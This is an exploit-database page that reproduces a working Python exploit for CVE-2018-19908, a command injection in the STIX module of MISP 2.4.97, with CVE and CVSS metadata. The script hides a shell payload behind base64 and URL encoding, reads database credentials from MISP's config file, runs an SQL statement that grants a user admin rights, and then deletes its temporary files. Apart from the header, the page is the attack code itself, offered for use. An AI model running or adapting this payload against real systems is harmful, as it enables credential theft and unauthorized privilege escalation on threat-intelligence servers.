Advertisement






MISP 2.4.97 SQL Injection / Command Injection

CVE Category Price Severity
CVE-2018-19908 CWE-89 (SQL Injection), CWE-78 (OS Command Injection) Unknown High
Author Risk Exploitation Type Date
Unknown High Remote 2019-02-19
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2019020196

Below is a copy:

MISP 2.4.97 SQL Injection / Command Injection
#-*-coding:utf-8-*-
#
# Exploit Title: SQL command execution via command injection in STIX module
# Date: 2019-17-02
# Exploit Author: Tm9jdGlz
# Vendor Homepage: https://www.misp-project.org/
# Software link: https://www.misp-project.org/download/
# Version: 2.4.90 - 2.4.99
# Tested on: 2.4.97
# CVE: CVE-2018-19908
# 
# Use this payload as stix filename

def encode_data(data):
    from base64 import b64encode
    from urllib.parse import quote_plus

    b64Data = b64encode(data.encode("utf-8"))
    urlEncode = quote_plus(b64Data)

    return urlEncode


def generate_payload(SQLRequest):
    payload = 'MISPPath="../../";'\
            'MISPPDB="$MISPPath/app/Config/database.php";'\
            'MySQLUUser=$(grep -o -P "(?<=\'login\' => \').*(?=\')" $MISPPDB);'\
            'MySQLRUser=${{MySQLRUser:-$MySQLUUser}};'\
            'MySQLUPass=$(grep -o -P "(?<=\'password\' => \').*(?=\')" $MISPPDB);'\
            'MySQLRPass=${{MySQLRPass:-$MySQLUPass}};'\
            'MISPDB=$(grep -o -P "(?<=\'database\' => \').*(?=\')" $MISPPDB);'\
            'mysql -u $MySQLRUser -p$MySQLRPass $MISPDB -e "{}"'
    return payload.format(SQLRequest)

def generate_exploit(SQLRequest, **kwargs):
    options = {
            "inputFile" : kwargs.get("input_file", "data"),
            "outputFile" : kwargs.get("output_file", "data2"),
            "payload" : encode_data(generate_payload(SQLRequest))
    }

    exploit = "; echo '{payload}'>{inputFile};"\
            "python3 -c 'import urllib.parse;"\
            'fd=open(\\"{outputFile}\\",\\"w\\");'\
            'fd.write(urllib.parse.unquote_plus(open(\\"{inputFile}\\").read()));'\
            "fd.close()';"\
            "base64 -d {outputFile}>{inputFile};"\
            "sh {inputFile};"\
            "rm {inputFile} {outputFile} #".format(**options)
    return exploit

def main():
    SQLRequest = "UPDATE users SET role_id=1 WHERE id = 2"
    print(generate_exploit(SQLRequest))

if __name__ == "__main__":
    main()

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum